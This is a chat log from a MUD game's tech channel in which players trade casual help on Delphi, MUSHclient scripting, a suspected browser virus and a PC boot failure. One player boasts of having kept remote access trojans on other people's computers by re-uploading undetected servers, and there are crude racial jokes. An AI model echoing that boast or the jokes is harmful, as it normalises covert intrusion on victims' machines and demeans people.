T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: does mush have SQL support and does anyone have exprience with Delphi 7 and SQL programming in it?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Redryn Tech: it can handle sqlite i think
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Trachx Tech: what does have Mush, SQL and Delphi in common ?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Trachx Tech: sqlite is serverless SQL file based database
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: nothing but I have to write a Program in delphi 7 for a school project and might have a few questions later
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Trachx Tech: why Delphi 7? your personal choice?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ranrr Tech: Delphi? What is this, 1991?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: no we have to use it :( because our teacher is a fucknut and doesnt want to teach use java
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ranrr Tech: Tell him nobody has used delphi since the 90s. Java or python would be better to teach.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Trachx Tech: or C#
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: Yeah i would get expelled if I did that my school is very discplined and respectful and besides the other kids in my class are too stupid to use Java they keep on forgetting use the {} and I know a bit of C# learning to use it in Unity
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ranrr Tech: Python has no braces, and is a much better language than java, so maybe that would work... ?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: in fact this is how we work in our school Grade 10 = Scrach Grade 11 = delphi Grade 12 = netbeans(Java) and I dont think he is qualified
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ranrr Tech: I things like that would get you expelled, I would have been expelled 10 minutes into the first grade. I always question my teachers. How else are you supposed to learn?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: I learn by taking initiave and finding things out and just playing around with code and seeing what I can get right and also I read the manuals and helps
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Delphi is a very, very common teaching language. It lost ground to Java, and both are losing ground to Python, but it remains one of the biggest first-encounter programming languages around.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I personally think it is a good idea teaching people programming first in a language they can then ignore - the better to have a break and avoid ingraining bad beginner habits.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But yes, if you aren't allowed to really nail down your teacher in a mutual debate your learning will be half-assed at best
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Trachx Tech: but Delphi is tightly connected with databases, and the Delphi way may be not the best approach for DB
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What is 'the Delphi way', and how is it any different to learning the Java way to connect to a DB and then doing it a completely different way in C or Python?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ixle Tech: You can do what I did and just duplicate my lessons in a langeuage I actually want to use later.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: and anyway I dont have choice and so can anyone may help me later
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Trachx Tech: with simple tasks in Delphi sure
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: ok thanks
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Nobody is teaching advanced Delphi programming to 17 year olds :D It is a first contact course, doubtful it would progress past the basics of streams and control flow.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ixle Tech: Who knows, maybe your teacher catches on to what you're doing and is impressed.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: nod currently we are still learning how to read from a file and my idiotic classmates struggle with it me I figured out have to write to a file :)
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The best possible thing you can take away from a course like this is the thinking required to turn a real world problem into a pseudocode description into a Delphi program.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That process is more or less universal for any computer science problem ever.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: he didnt he teach use how to switch forms or how to call to other units
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: had to figure it out myself
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Trachx Tech: but those are really basic things
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: I know and he didnt teach us it
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Trachx Tech: maybe you use Delphi because it is Pascal based, not because features provided by Delphi (like UI, controls)
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: would it change anything if i changed my aardwolf port from 23 to 4000
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: 4010*
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Confounded CeriQ Tech: The login ascii used to be smaller, don't know about now.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: EDGE and 3G and HSDPA work at different wavelengths right that is why EDGE interferes with my speakers but 3G and HSDPA doesnt?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ranrr Tech: yes, and maybe
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: how the f do i have another damn virus on this pc
T3/r7/2013-10-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: too much porn
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: seriously, there HAS BEEN NO PORN I PROMISE
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: or pirating
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: and being a troll does that sometimes
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: this virus won't let me visit facebook.  if I type www.facebook.com into my url, it brings me to a bing page like i searched for facebook
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: lmfao
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Pooky Tech: O.O
T3/r7/2013-10-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: when you get a virus its hard to get rid of trogens, i know when i use to have RATS right before the FUD poofed i uploaded new servers on the computers so i never lost it
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: and I only visit google, so I'm not typing it into the search bar.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Pooky Tech: maybe u clicked on some bad links? or opened an email from some hot asain girl
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: in his case I think asian dude
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I'm not asian
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Taokan Tech: that nigerian prince would never send me a virus!
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Pooky Tech: don't have to be asian to get yellow fever
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I opened a bank account in trust just like he asked, I don't understand!!!
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: no but really, wth is up with this
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Trachx Tech: just plain DNS problem
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Taokan Tech: is it only facebook that it happens?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: no, I tried opening an article of the dallas morning herald
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Trachx Tech: it is standard IE behaviour when cannot resolve DNS
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: wouldn't open
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: but if i enter websites like www.wired.com, it's ok
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Taokan Tech: what's the web addy for dallas morning herald?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: probably www.dmh.rot2
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i don't know, it was a link from my bloomberg terminal
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Taokan Tech: wondering if it might be a https thing
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: oh wait, it was dallas news
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: http://dallasne.ws/1d4AulA
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: and, i can't visit zynga.com either
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I can't open solstice arena on steam either
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: this must be some kind of virus :(
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Taokan Tech: in any browser?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Shame it didn't prevent you from logging on here.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: well I only have IE
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Trachx Tech: check your DNS setting and dns responses
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: does malware bytesa quick scan usually pick up the bad stuff?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Taokan Tech: http://i.imgur.com/uGM9rmw.gif?2
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: lol
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Mr. Dash Tech: i use pale moon myself, a 64-bit build of firefox
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: yea, probably should get me some chrome
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: i use firefox am loving it except my flash player keeps on telling me it has stopped working then I have to go to windows folder and manually restart it
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Taokan Tech: I'd recommend checking your DNS settings (try google's free DNS and see if that helps), and maybe another browser.  If neither of that works you either got some nasty firewall nonsense going on or a virus
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Taokan Tech: google's DNS is 8.8.8.8
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Trachx Tech: you can restart your computer, that will flush DNS cache, if all internet stops working then you can be quite sure your problems were related with DNS
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: okay, i'm going to restart and i won't come back
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: there's just too much hate
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Grissom Tech: THANK AYLA AND STENDARR
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Comanchee Tech: what are the important aard files to backup in the event that the hard drive becomes unusable?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ayasinda Tech: just backup the entire mush folder.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Redryn Tech: mapper db, mcl file and script files if you wrote any
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Redryn Tech: but yea it's not a big folder, just copy everything :p
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Comanchee Tech: thanks
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Tech: a number of players have their MUSHclient folder in dropbox and play from there
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Tech: that handles both backups and playing from elsewhere
T3/r7/2013-10-19.txt.gz:{chan ch=tech}SlowMoos Tech: is there any way to make the mushclient keep the last command typed in the input field like in mudlet?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Ayasinda Tech: yes
T3/r7/2013-10-19.txt.gz:{chan ch=tech}SlowMoos Tech: thanks - that's very helpful :-P
T3/r7/2013-10-19.txt.gz:{chan ch=tech}SlowMoos Tech: ahh... found it!
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jibblets Tech: is is possible to squelch chat in the main window, but not over gmcp? O
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Turie Tech: AardMUSH?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jibblets Tech: i'm using tintin (well, i'm on mushclient right now to see how it handles chat)
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Turie Tech: Right click the "Communication Log" and look at the Echo in the menu.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Jibblets Tech: yea that's exactly how it want it to work, i'll peek at the source, thanks
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Comanchee Tech: is there a character I can enter in the name of an alias in which the following characters will be ignored (I want to make a note to myself)?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: your question is incomprehensible
T3/r7/2013-10-19.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: he wants to add a comment in (i assume) a mudside alias
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Comanchee Tech: correct
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Comanchee Tech: is it not possible to create a comment in an alias?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: i think the best you'd get would be with the echo command
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Turie Tech: You could make an alias with a channel with a cooment.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Comanchee Tech: ok thanks
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Zade Tech: alias something echo "insert yabba dabba do here;;something
T3/r7/2013-10-19.txt.gz:{chan ch=tech}WarPigs Tech: echo is a mud command?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: yes
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Cytan Tech: took more characters to ask that than it would have taken to test that.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: snoot snoot
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Cytan Tech: snarf snarf :P
T3/r7/2013-10-19.txt.gz:{chan ch=tech}WarPigs Tech: I suppose I could have looked up the connection info and connected with telnet...
T3/r7/2013-10-19.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: thunder...
T3/r7/2013-10-19.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: THUNDER...
T3/r7/2013-10-19.txt.gz:{chan ch=tech}SlowMoos Tech: should i use "mapper cexit open east;east" for all doors in the mushclient or is there another way to define a door?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Isafdar Tech: I use an alias for n w s e.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}SlowMoos Tech: like alias "e"->"open door;e" ?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: isn't that really annoying when there isn't actually a door 99% of the time? :P
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Isafdar Tech: i have nn as 'mapper cexit open n;n' same with ss ee ww. 
T3/r7/2013-10-19.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: ah, ok
T3/r7/2013-10-19.txt.gz:{chan ch=tech}SlowMoos Tech: makes sense
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Isafdar Tech: but i usually just passdoor and dont even map them if it isnt a locked door
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Elchanan Tech: i have en and e
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Elchanan Tech: got tired to typoing en and then entering amulet
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: Mush client not sure what I am doing wrong with Muschclient
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: Mush client not sure what I am doing wrong with Muschclient. i have an array filled with data (wornArr) that shows up with tprint, but when I run a ipairs loop it says array does not exist?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}SlowMoos Tech: can someone help me figuring out the portals features of the mapper in mushclient? i don't really get it
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: anyone on that can answer a question about tables with mushclient?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: won't know unless you ask the question, but possible..
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: i have a table filled with information and i can print that information out, but when i try to use the table it says it doesnt exist
T3/r7/2013-10-19.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: copy and paste the line where you are trying to use the table
T3/r7/2013-10-19.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: and how are you printing it without using it?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: for i,v in ipairs(wornArr) do --      Note ("test "..v)
T3/r7/2013-10-19.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: is that where you are trying to use it?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: that is just a check trying to see if i can pick up the information from the table
T3/r7/2013-10-19.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: and did it work?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: the note is after the loop
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: nope
T3/r7/2013-10-19.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: seperate plugin file?  any chance array is declared local and you are doing it in an alias trigger, etc
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: yes :P
T3/r7/2013-10-19.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: that'll do it
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: but i put it in a script file as well, and still didnt work
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: the script file should be able to utilize local arrays
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: i have before
T3/r7/2013-10-19.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I have run into issue local arrays in plugin files aren't visible to alaiases and such in that plugin file..
T3/r7/2013-10-19.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: does it work if you mremove local?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: remove local..
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Redryn Tech: if it's local it's only visible to that function
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: i can tprint it with an alias
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: a seperate alias
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: the table is populated with a trigger
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Redryn Tech: pastebin is probably more helpful
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Tech: [Outlaw] Mendaloth crosses his arms and nods slowly and sagely to Redryn.
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: ok, ill see about reconstruction it all back together and put it on pastebin
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: thanks
T3/r7/2013-10-19.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: @Umado, are you sure you're supposed to be using ipairs and not pairs?
T3/r7/2013-10-19.txt.gz:{chan ch=tech}Umado Tech: yes:)
T3/r7/2013-10-20.txt.gz:{chan ch=tech}SlowMoos Tech: is there any way to use the mapper in mushclient to run to a specific area (without knowing the room id)
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Isafdar Tech: do you mean like 'xrt'?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}SlowMoos Tech: huh?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Isafdar Tech: there is a mapper extender plugin that lets you run to areas, but i dont know if thats already in the default mapper
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Redryn Tech: don't think default has it
T3/r7/2013-10-20.txt.gz:{chan ch=tech}SlowMoos Tech: oh... i'll have a look for it then...
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Zetkax Tech: winkles s&d is what you want
T3/r7/2013-10-20.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone know anything about steamos yet?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Summoner Yuna Tech: Either I accidentally activated a setting in zMUD or it's a weird new Aardwolf feature but I kept getting a message that says "TICK IN 5 SECONDS." (though not at every tick, only once every few ticks).
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Summoner Yuna Tech: How do I turn this off?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Redryn Tech: you have a tick counter
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Summoner Yuna Tech: Anyone know where in zMUD you can turn the tick counter off?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Ixle Tech: #ti- ?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Ixle Tech: It's been a while
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Summoner Yuna Tech: That was it. Thanks.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Ixle Tech: Wow, I'm remarkably impressed I remember that.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}HappySnail Anaristos Tech: it's on preferences, first page
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Grissom Tech: anyone have a script that can help me sort out my inventory like get an item of level 1 out of a bag and put into another bag?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Trachx Tech: what about invsort ?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Swirls of Rumour Tech: finger madcatz
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Swirls of Rumour Tech: it might be able to help you
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Trachx Tech: no finger character
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Swirls of Rumour Tech: oh oops! I'll paste it
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Swirls of Rumour Tech: http://docs.google.com/Doc?docid=0AQcSJ7QDH5gyZGMzdDRkanZfMGduajRoczNr&hl=en
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Grissom Tech: ok thanks
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Grissom Tech: thanks it is working perfectly
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Havvoc Tech: anyone knw how to work midpssh
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Divlia Tech: why can't I run to fantasy or melody using xrt?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Havvoc Tech: anyone knw how to use midpssh?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Trachx Tech: fantasy: you probably lack custom exit (sleep) to get there
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Trachx Tech: and for melody you probably lack custom exit 'dance'
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Havvoc Tech: anyone know if midpssh works on blackberry
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: anybody here good with pc's?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Grissom Tech: define good
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: well I have a problem with mine and I was hoping to get some help
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Grissom Tech: just state the problem
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: well ok...so I was playing a game and I decided to turn my pc off a hour laiter when I turned it on again it dident boot past the verifying DMI pool data schreen now 3 days laiter its still not working :P so any help wil be awesome please
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: just ask if you need to know somthing
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: anybody? please...ill pay if needed...I really need to fix it
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Havvoc Tech: my father could probally help with that his fixes my pc all the time when that happens
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Ranrr Tech: some kind of hardware issue, either memory or the HDD would be my best guess
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Ranrr Tech: try booting off a cdrom or usb stick to see if that works
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: did that...when I try boot from cd I get a bad error...ill try type some of it quick
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: so it starts with press button to boot from cd and when I do I get this     trap00000D and then just a lot of numbers and letters scrambled up
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Ranrr Tech: sounds like memory or motherboard error
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: its trap 00000D general protection fault
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Ranrr Tech: only way to be sure is by process of elimination
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Redryn Tech: have you started with google?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Redryn Tech: http://www.duxcw.com/faq/computer/dmi.html
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Redryn Tech: i solve 80% of computer problems googling symptoms
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: yah...I did google dident help anything...was hoping one of you could give me some better tips or help
T3/r7/2013-10-20.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: That usually helps, Redryn.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: You need to spend some time fishing out the right keywords, though.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Ontuct Tech: like doing area quests
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Redryn Tech: well i found that page from google
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Redryn Tech: have you done 1-10 yet
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Redryn Tech: or 8
T3/r7/2013-10-20.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Of course, tips from fora have varied reliability, but so does advice on Tech.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Tech: Ranrr goes, "Heh."
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: weird thing is if I plug my HDD out and b oot from cd I still get that error
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Redryn Tech: go do everything on that page first
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Redryn Tech: don't suppose you have a usb stick stuck on your computer
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: I don't no
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: only HDD and cdrom as alwys
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: is there a way to start xp in safe mode?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Tech: F8 on boot
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: did that...dident do anything
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Tech: did it at the wrong time
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Endangered Sabertooth Tech: when must I do it then at detecting ide drives?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Tech: after POST, just start pressing it once a second or so
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Tech: POST is Power On Self-Test
T3/r7/2013-10-20.txt.gz:{chan ch=tech}No Need To Panax Tech: anyone know of any good mud client apps for ipad?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Turie Tech: Did you search Itunes?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Daloran Tech: i think itunes is a terrible mud client
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Martini & Tyebald Tech: best soundtracks for mudding, though.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}No Need To Panax Tech: I've looked at the displays of some but was just wondering if anyone had any experience with any in particular and liked them
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Turie Tech: I wish you could use AardMUSH on iPad.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Pleiades Tech: could you install wine or wineskin on ios?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Turie Tech: Well, you could come to think about it using a viewer to a computer.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}SlowMoos Tech: iSSH and a linux-box somewhere to connect through seems to be the preferred way
T3/r7/2013-10-20.txt.gz:{chan ch=tech}SlowMoos Tech: any tips on making a mapper cexit react to a mobprog like in the labyrinth?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i wish mush had skin option.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i'd take the greenish apocalyptic style
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Turie Tech: You mean background?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Book of Etzli Tech: Probably the menu bars, etc.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Book of Etzli Tech: Skin options tend to change the color of the program in general.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: is it possible to reserve 100kB to each user(if it starts to clog) in that wifi box?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i hate these things:(
T3/r7/2013-10-20.txt.gz:{chan ch=tech}SlowMoos Tech: "that wifi box" ?
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: yeah
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: its black
T3/r7/2013-10-20.txt.gz:{chan ch=tech}SlowMoos Tech: if what you're referring to is a generic wifi access point there's almost always a way. you just need to find some custom firmware.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: custom???? it should be always on by default
T3/r7/2013-10-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: geez
T3/r7/2013-10-20.txt.gz:{chan ch=tech}SlowMoos Tech: most people wouldn't understand what to do with more settings and options than already in most consumer network devices.
T3/r7/2013-10-20.txt.gz:{chan ch=tech}Zade Tech: custom hardware: "made to order at great expense"
T3/r7/2013-10-20.txt.gz:{chan ch=tech}None the Wyza Tech: i still don't know exactly what you are asking for
T3/r7/2013-10-20.txt.gz:{chan ch=tech}SlowMoos Tech: i'm not neccesarily talking custom hardware - just custom firmware...
